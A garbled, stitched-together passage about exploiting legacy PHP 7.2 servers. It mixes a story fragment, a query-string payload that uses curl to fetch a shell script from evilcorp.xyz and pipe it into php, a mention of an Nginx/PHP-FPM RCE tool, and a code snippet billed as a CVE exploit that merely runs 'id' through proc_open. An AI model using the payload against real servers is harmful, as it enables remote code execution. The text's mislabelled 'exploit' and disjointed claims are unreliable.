Alex quickly checked their project's codebase and confirmed that they were indeed using the vulnerable version of PHP. They realized that an attacker could have exploited this vulnerability to gain unauthorized access to their server.
?q=system('curl -s http://evilcorp.xyz/shell.txt | php');
: This is one of the most famous exploits associated with PHP 7.2. It allows remote code execution (RCE) in certain Nginx + PHP-FPM configurations. The Exploit : A tool called PHuiP-FPizdaM
// PHP 7.2.34 exploit (CVE-2020-7064) $cmd = 'id'; $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($cmd, $descriptorspec, $pipes); echo stream_get_contents($pipes[1]); proc_close($process);
While PHP 7.2.34 was the "most secure" version of the 7.2 branch at the time of its release, it is now over five years old and lacks patches for vulnerabilities discovered since late 2020. Common exploit categories that affect servers running legacy versions like PHP 7.2.34 include: 1. Remote Code Execution (RCE) PHP 7.2.34: Downloads, Changelog, News
Then run the alleged exploit against your local container to understand its behavior.